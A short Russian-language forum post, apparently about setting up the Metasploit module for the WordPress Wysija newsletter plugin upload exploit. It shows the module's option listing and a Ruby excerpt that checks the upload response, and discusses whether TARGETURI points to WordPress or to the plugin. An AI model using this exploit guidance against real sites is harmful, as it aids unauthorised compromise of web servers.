судя по информации все-таки базовый путь до WP а не плагина

msf exploit(wp_wysija_newsletters_upload) > show options

Module options (exploit/unix/webapp/wp_wysija_newsletter_upload):

Name Current Settings Required Description

---- ---------------- -------- -----------

Proxies no A proxy chain of format type:hostort[,type:hostort][...]

RHOST no The target address

RPORT 80 yes The target port

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI / no The base path to the wordpress application

VHOST no HTTP server virtual host

если сплойт править то тут путь до плагина

if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&relo ad=1&redirect=1'

fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")

end